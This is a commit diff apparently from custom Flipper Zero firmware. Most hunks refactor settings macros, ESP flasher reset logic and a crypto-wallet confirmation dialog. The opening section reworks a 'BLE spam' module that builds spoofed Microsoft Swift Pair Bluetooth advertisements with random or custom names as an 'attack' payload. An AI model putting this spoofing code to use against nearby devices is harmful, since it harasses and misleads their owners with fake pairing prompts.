"👉👌",
"🔵🦷",
};
const uint8_t names_count = COUNT_OF(names);
static const char* get_name(const Payload* payload) {
UNUSED(payload);
return "SwiftPair";
}
void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) {
const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
SwiftpairCfg* cfg = payload ? &payload->cfg.swiftpair : NULL;
const char* display_name;
if(cfg && cfg->display_name[0] != '\0') {
display_name = cfg->display_name;
} else {
const char* names[] = {
"Assquach💦",
"Flipper 🐬",
"iOS 17 🍎",
"Kink💦",
"👉👌",
"🔵🦷",
};
display_name = names[rand() % COUNT_OF(names)];
const char* name;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
name = names[rand() % names_count];
break;
case PayloadModeValue:
name = cfg->name;
break;
}
uint8_t display_name_len = strlen(display_name);
uint8_t name_len = strlen(name);
uint8_t size = 7 + display_name_len;
uint8_t size = 7 + name_len;
uint8_t* packet = malloc(size);
uint8_t i = 0;
@@ -40,15 +45,91 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto
packet[i++] = 0x03; // Microsoft Beacon ID
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
packet[i++] = 0x80; // Reserved RSSI Byte
memcpy(&packet[i], display_name, display_name_len); // Display Name
i += display_name_len;
memcpy(&packet[i], name, name_len);
i += name_len;
*_size = size;
*_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_swiftpair = {
.icon = &I_windows,
.get_name = swiftpair_get_name,
.make_packet = swiftpair_make_packet,
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigName,
ConfigInfoRequire,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigName:
scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
break;
case ConfigInfoRequire:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
SwiftpairCfg* cfg = &payload->cfg.swiftpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
variable_item_set_current_value_text(
item, payload->mode == PayloadModeRandom ? "Random" : cfg->name);
variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_count(const Payload* payload) {
UNUSED(payload);
return ConfigCOUNT - ConfigExtraStart - 1;
}
const Protocol protocol_swiftpair = {
.icon = &I_windows,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void name_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
payload->mode = PayloadModeValue;
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_swiftpair_name_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
SwiftpairCfg* cfg = &payload->cfg.swiftpair;
TextInput* text_input = ctx->text_input;
text_input_reset(text_input);
text_input_set_header_text(text_input, "Press back for random");
text_input_set_result_callback(
text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
text_input_set_minimum_length(text_input, 0);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
}
bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
if(event.type == SceneManagerEventTypeBack) {
payload->mode = PayloadModeRandom;
}
return false;
}
void scene_swiftpair_name_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -5,7 +5,7 @@
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
typedef struct {
char display_name[25];
char name[25];
} SwiftpairCfg;
extern const BleSpamProtocol ble_spam_protocol_swiftpair;
extern const Protocol protocol_swiftpair;

View File

@@ -0,0 +1 @@
ADD_SCENE(swiftpair_name, SwiftpairName)

View File

@@ -0,0 +1,3 @@
ADD_SCENE(main, Main)
ADD_SCENE(config, Config)
#include "../protocols/_scenes.h"

View File

@@ -0,0 +1,30 @@
#include "_setup.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(name, id) scene_##name##_on_enter,
void (*const scene_on_enter_handlers[])(void*) = {
#include "_scenes.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(name, id) scene_##name##_on_event,
bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = {
#include "_scenes.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(name, id) scene_##name##_on_exit,
void (*const scene_on_exit_handlers[])(void*) = {
#include "_scenes.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers scene_handlers = {
.on_enter_handlers = scene_on_enter_handlers,
.on_event_handlers = scene_on_event_handlers,
.on_exit_handlers = scene_on_exit_handlers,
.scene_num = SceneCOUNT,
};

View File

@@ -0,0 +1,28 @@
#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(name, id) Scene##id,
typedef enum {
#include "_scenes.h"
SceneCOUNT,
} Scene;
#undef ADD_SCENE
extern const SceneManagerHandlers scene_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*);
#include "_scenes.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent);
#include "_scenes.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*);
#include "_scenes.h"
#undef ADD_SCENE

View File

@@ -0,0 +1,75 @@
#include "../ble_spam.h"
#include "protocols/_protocols.h"
static void _config_bool(VariableItem* item) {
bool* value = variable_item_get_context(item);
*value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
}
static void config_bool(VariableItemList* list, const char* name, bool* value) {
VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value);
variable_item_set_current_value_index(item, *value);
variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
}
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
if(!ctx->attack->protocol) {
index--;
} else if(ctx->attack->protocol->config_count) {
uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload);
if(index > extra) index -= extra;
}
switch(index) {
case ConfigRandomMac:
break;
case ConfigLedIndicator:
break;
case ConfigLockKeyboard:
ctx->lock_keyboard = true;
scene_manager_previous_scene(ctx->scene_manager);
notification_message_block(ctx->notification, &sequence_display_backlight_off);
break;
default:
break;
}
}
void scene_config_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
VariableItemList* list = ctx->variable_item_list;
variable_item_list_reset(list);
variable_item_list_set_header(list, ctx->attack->title);
config_bool(list, "Random MAC", &ctx->attack->payload.random_mac);
variable_item_list_set_enter_callback(list, config_callback, ctx);
if(!ctx->attack->protocol) {
variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL);
} else if(ctx->attack->protocol->extra_config) {
ctx->fallback_config_enter = config_callback;
ctx->attack->protocol->extra_config(ctx);
}
config_bool(list, "LED Indicator", &ctx->led_indicator);
variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL);
variable_item_list_set_selected_item(
list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig));
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList);
}
bool scene_config_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_config_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -0,0 +1,16 @@
#include "../ble_spam.h"
void scene_main_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain);
}
bool scene_main_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_main_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -16,9 +16,8 @@
#include <xtreme.h>
#define UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#pragma once

View File

@@ -14,9 +14,8 @@
#include "FlipperZeroWiFiDeauthModuleDefines.h"
#define UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define DEAUTH_APP_DEBUG 0

View File

@@ -2,9 +2,8 @@
#include "esp_flasher_uart.h"
#include <xtreme.h>
#define UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define BAUDRATE (115200)
struct EspFlasherUart {

View File

@@ -307,6 +307,9 @@ static int32_t esp_flasher_reset(void* context) {
_setRTS(false);
_initRTS();
furi_hal_gpio_init_simple(&gpio_swclk, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_swclk, true);
if(app->reset) {
loader_port_debug_print("Resetting board\n");
loader_port_reset_target();
@@ -371,6 +374,13 @@ void loader_port_reset_target(void) {
void loader_port_enter_bootloader(void) {
// adapted from custom usb-jtag-serial reset in esptool
// (works on official wifi dev board)
// Also support for the Multi-fucc and Xeon boards
furi_hal_gpio_write(&gpio_swclk, false);
furi_hal_power_disable_otg();
loader_port_delay_ms(100);
furi_hal_power_enable_otg();
furi_hal_gpio_init_simple(&gpio_swclk, GpioModeAnalog);
loader_port_delay_ms(100);
_setDTR(true);
loader_port_delay_ms(SERIAL_FLASHER_RESET_HOLD_TIME_MS);
_setRTS(true);

View File

@@ -85,7 +85,10 @@ static uint32_t timeout_per_mb(uint32_t size_bytes, uint32_t time_per_mb)
esp_loader_error_t esp_loader_connect(esp_loader_connect_args_t *connect_args)
{
loader_port_enter_bootloader();
// if bootloader mode ever give issues, uncomment this function
// it shouldnt be needed because we enter bootloader mode before this function is called
// this function breaks bootloader mode for the Multi-fucc and Xeon
//loader_port_enter_bootloader();
RETURN_ON_ERROR(loader_initialize_conn(connect_args));

View File

@@ -22,9 +22,8 @@
#define NUM_MENU_ITEMS (6)
#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096)
#define UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define SET_HTML_CMD "sethtml"
#define SET_AP_CMD "setap"

View File

@@ -16,6 +16,6 @@ App(
fap_category="Tools",
fap_author="Struan Clark (xtruan)",
fap_weburl="https://github.com/xtruan/FlipBIP",
fap_version=(1, 13),
fap_version=(1, 14),
fap_description="Crypto wallet for Flipper",
)

View File

@@ -90,6 +90,22 @@ static void text_input_callback(void* context) {
}
}
static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) {
FlipBip* app = context;
if(result == DialogExResultRight) {
app->wallet_create(app);
} else {
view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu);
}
}
static void flipbip_wallet_create(void* context) {
FlipBip* app = context;
furi_assert(app);
scene_manager_set_scene_state(app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New);
scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1);
}
FlipBip* flipbip_app_alloc() {
FlipBip* app = malloc(sizeof(FlipBip));
app->gui = furi_record_open(RECORD_GUI);
@@ -148,6 +164,17 @@ FlipBip* flipbip_app_alloc() {
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input));
app->wallet_create = flipbip_wallet_create;
app->renew_dialog = dialog_ex_alloc();
dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback);
dialog_ex_set_context(app->renew_dialog, app);
dialog_ex_set_left_button_text(app->renew_dialog, "No");
dialog_ex_set_right_button_text(app->renew_dialog, "Yes");
dialog_ex_set_header(
app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop);
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog));
// End Scene Additions
return app;
@@ -168,6 +195,9 @@ void flipbip_app_free(FlipBip* app) {
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm);
dialog_ex_free(app->renew_dialog);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);

View File

@@ -9,12 +9,13 @@
#include <gui/view_dispatcher.h>
#include <gui/modules/submenu.h>
#include <gui/scene_manager.h>
#include <gui/modules/dialog_ex.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/text_input.h>
#include "scenes/flipbip_scene.h"
#include "views/flipbip_scene_1.h"
#define FLIPBIP_VERSION "v1.13"
#define FLIPBIP_VERSION "v1.14"
#define COIN_BTC 0
#define COIN_DOGE 3
@@ -31,6 +32,7 @@ typedef struct {
SceneManager* scene_manager;
VariableItemList* variable_item_list;
TextInput* text_input;
DialogEx* renew_dialog;
FlipBipScene1* flipbip_scene_1;
char* mnemonic_menu_text;
// Settings options
@@ -45,6 +47,8 @@ typedef struct {
char passphrase_text[TEXT_BUFFER_SIZE];
char import_mnemonic_text[TEXT_BUFFER_SIZE];
char input_text[TEXT_BUFFER_SIZE];
void (*wallet_create)(void* context);
} FlipBip;
typedef enum {
@@ -53,6 +57,7 @@ typedef enum {
FlipBipViewIdScene1,
FlipBipViewIdSettings,
FlipBipViewIdTextInput,
FlipBipViewRenewConfirm,
} FlipBipViewId;
typedef enum {
@@ -86,3 +91,15 @@ typedef enum {
FlipBipStatusSaveError = 12,
FlipBipStatusMnemonicCheckError = 13,
} FlipBipStatus;
typedef enum {
SubmenuIndexScene1BTC = 10,
SubmenuIndexScene1ETH,
SubmenuIndexScene1DOGE,
SubmenuIndexScene1ZEC,
SubmenuIndexScene1New,
SubmenuIndexScene1Renew,
SubmenuIndexScene1Import,
SubmenuIndexSettings,
SubmenuIndexNOP,
} SubmenuIndex;

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.1 KiB

View File

@@ -3,18 +3,8 @@
#define FLIPBIP_SUBMENU_TEXT "** FlipBIP wallet " FLIPBIP_VERSION " **"
enum SubmenuIndex {
SubmenuIndexScene1BTC = 10,
SubmenuIndexScene1ETH,
SubmenuIndexScene1DOGE,
SubmenuIndexScene1ZEC,
SubmenuIndexScene1New,
SubmenuIndexScene1Import,
SubmenuIndexSettings,
SubmenuIndexNOP,
};
void flipbip_scene_menu_submenu_callback(void* context, uint32_t index) {
furi_assert(context);
FlipBip* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
@@ -59,7 +49,7 @@ void flipbip_scene_menu_on_enter(void* context) {
submenu_add_item(
app->submenu,
"Regenerate wallet",
SubmenuIndexScene1New,
SubmenuIndexScene1Renew,
flipbip_scene_menu_submenu_callback,
app);
} else {
@@ -130,9 +120,12 @@ bool flipbip_scene_menu_on_event(void* context, SceneManagerEvent event) {
} else if(event.event == SubmenuIndexScene1New) {
app->overwrite_saved_seed = 1;
app->import_from_mnemonic = 0;
scene_manager_set_scene_state(
app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New);
scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1);
app->wallet_create(app);
return true;
} else if(event.event == SubmenuIndexScene1Renew) {
app->overwrite_saved_seed = 1;
app->import_from_mnemonic = 0;
view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewRenewConfirm);
return true;
} else if(event.event == SubmenuIndexScene1Import) {
app->import_from_mnemonic = 1;

View File

@@ -239,7 +239,8 @@ int32_t flipper_geiger_app() {
if(event_status == FuriStatusOk) {
if(event.type == EventTypeInput) {
if(event.input.key == InputKeyBack && event.input.type == InputTypeLong) {
if(event.input.key == InputKeyBack &&
(event.input.type == InputTypeShort || event.input.type == InputTypeLong)) {
break;
} else if(event.input.key == InputKeyOk && event.input.type == InputTypeLong) {
counter = 0;

View File

@@ -121,11 +121,8 @@ int32_t gps_app(void* p) {
if(event.type == EventTypeKey) {
if(event.input.type == InputTypeShort) {
switch(event.input.key) {
case InputKeyUp:
case InputKeyDown:
case InputKeyRight:
case InputKeyLeft:
case InputKeyBack:
processing = false;
break;
case InputKeyOk:
if(!gps_uart->backlight_on) {

View File

@@ -4,9 +4,8 @@
#include <notification/notification_messages.h>
#include <xtreme.h>
#define UART_CH \
(XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define RX_BUF_SIZE 1024

View File

@@ -9,10 +9,10 @@
void nrf24_init() {
// this is needed if multiple SPI devices are connected to the same bus but with different CS pins
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc3, true);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pa4, true);
}
@@ -30,9 +30,9 @@ void nrf24_deinit() {
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
// resetting the CS pins to floating
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog);
}
}

View File

@@ -56,7 +56,7 @@ extern "C" {
#define nrf24_TIMEOUT 500
#define nrf24_CE_PIN &gpio_ext_pb2
#define nrf24_HANDLE \
(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
(xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
&furi_hal_spi_bus_handle_external_extra)
/* Low level API */

View File

@@ -7,10 +7,10 @@
void nrf24_init() {
// this is needed if multiple SPI devices are connected to the same bus but with different CS pins
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc3, true);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pa4, true);
}
@@ -28,9 +28,9 @@ void nrf24_deinit() {
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
// resetting the CS pins to floating
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog);
}
}

View File

@@ -43,7 +43,7 @@ extern "C" {
#define nrf24_TIMEOUT 500
#define nrf24_CE_PIN &gpio_ext_pb2
#define nrf24_HANDLE \
(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
(xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
&furi_hal_spi_bus_handle_external_extra)
/* Low level API */

View File

@@ -194,7 +194,8 @@ int32_t nrf24channelscanner_main(void* p) {
if(event.type == EventTypeKey) {
szuz = false; //hit any button, so hide welcome screen
if(event.input.type == InputTypeLong && event.input.key == InputKeyBack) {
if((event.input.type == InputTypeShort || event.input.type == InputTypeLong) &&
event.input.key == InputKeyBack) {
if(isScanning) {
stopNrfScan = true; //if running, stop it.
notification_message(notification, &sequence_blink_yellow_100);

View File

@@ -7,10 +7,10 @@
void nrf24_init() {
// this is needed if multiple SPI devices are connected to the same bus but with different CS pins
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc3, true);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pa4, true);
}
@@ -28,9 +28,9 @@ void nrf24_deinit() {
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
// resetting the CS pins to floating
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog);
}
}
@@ -543,4 +543,4 @@ bool nrf24_check_connected(FuriHalSpiBusHandle* handle) {
} else {
return false;
}
}
}

View File

@@ -42,7 +42,7 @@ extern "C" {
#define nrf24_TIMEOUT 500
#define nrf24_CE_PIN &gpio_ext_pb2
#define nrf24_HANDLE \
(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
(xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
&furi_hal_spi_bus_handle_external_extra)
/* Low level API */

View File

@@ -9,10 +9,10 @@
void nrf24_init() {
// this is needed if multiple SPI devices are connected to the same bus but with different CS pins
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc3, true);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pa4, true);
}
@@ -30,9 +30,9 @@ void nrf24_deinit() {
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
// resetting the CS pins to floating
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog);
}
}

View File

@@ -54,7 +54,7 @@ extern "C" {
#define nrf24_TIMEOUT 500
#define nrf24_CE_PIN &gpio_ext_pb2
#define nrf24_HANDLE \
(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
(xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
&furi_hal_spi_bus_handle_external_extra)
/* Low level API */

View File

@@ -7,10 +7,10 @@
void nrf24_init() {
// this is needed if multiple SPI devices are connected to the same bus but with different CS pins
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc3, true);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pa4, true);
}
@@ -28,9 +28,9 @@ void nrf24_deinit() {
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
// resetting the CS pins to floating
if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) {
if(xtreme_settings.spi_nrf24_handle == SpiDefault) {
furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog);
} else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) {
} else if(xtreme_settings.spi_nrf24_handle == SpiExtra) {
furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog);
}
}

View File

@@ -42,7 +42,7 @@ extern "C" {
#define nrf24_TIMEOUT 500
#define nrf24_CE_PIN &gpio_ext_pb2
#define nrf24_HANDLE \
(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
(xtreme_settings.spi_nrf24_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : \
&furi_hal_spi_bus_handle_external_extra)
/* Low level API */

View File

@@ -409,7 +409,7 @@ int32_t nrfsniff_app(void* p) {
break;
case InputKeyBack:
if(event.input.type == InputTypeLong) processing = false;
processing = false;
break;
default:
break;

View File

@@ -18,9 +18,9 @@
#define UART_TERMINAL_TEXT_BOX_STORE_SIZE (4096)
#define UART_TERMINAL_TEXT_INPUT_STORE_SIZE (512)
#define UART_CH \
(XTREME_SETTINGS()->uart_general_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_general_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
struct UART_TerminalApp {
Gui* gui;

View File

@@ -14,9 +14,8 @@
#include <xtreme.h>
#define UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define NUM_MENU_ITEMS (11)

View File

@@ -28,9 +28,8 @@
#include <dialogs/dialogs.h>
#include <xtreme.h>
#define XTREME_UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define XTREME_UART_CH \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define US_ART_CH (FuriHalUartIdUSART1)
#define LP_UART_CH (FuriHalUartIdLPUART1)

View File

@@ -18,6 +18,5 @@
#include <xtreme.h>
#define UART_CH \
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)

View File

@@ -547,7 +547,7 @@ void archive_switch_tab(ArchiveBrowserView* browser, InputKey key) {
} else {
tab = (tab + 1) % ArchiveTabTotal;
}
if(tab == ArchiveTabInternal && !XTREME_SETTINGS()->show_internal_tab) continue;
if(tab == ArchiveTabInternal && !xtreme_settings.show_internal_tab) continue;
break;
}
@@ -579,10 +579,9 @@ void archive_switch_tab(ArchiveBrowserView* browser, InputKey key) {
bool is_browser = !strcmp(archive_get_tab_ext(tab), "*");
bool skip_assets = !is_browser;
// Hide dot files everywhere except Browser if in debug mode
bool hide_dot_files = !is_browser ? true :
tab == ArchiveTabInternal ?
false :
!XTREME_SETTINGS()->show_hidden_files;
bool hide_dot_files = !is_browser ? true :
tab == ArchiveTabInternal ? false :
!xtreme_settings.show_hidden_files;
archive_file_browser_set_path(
browser, browser->path, archive_get_tab_ext(tab), skip_assets, hide_dot_files);
tab_empty = false; // Empty check will be performed later

View File

@@ -84,7 +84,7 @@ static void ArchiveFile_t_clear(ArchiveFile_t* obj) {
}
static int ArchiveFile_t_cmp(const ArchiveFile_t* a, const ArchiveFile_t* b) {
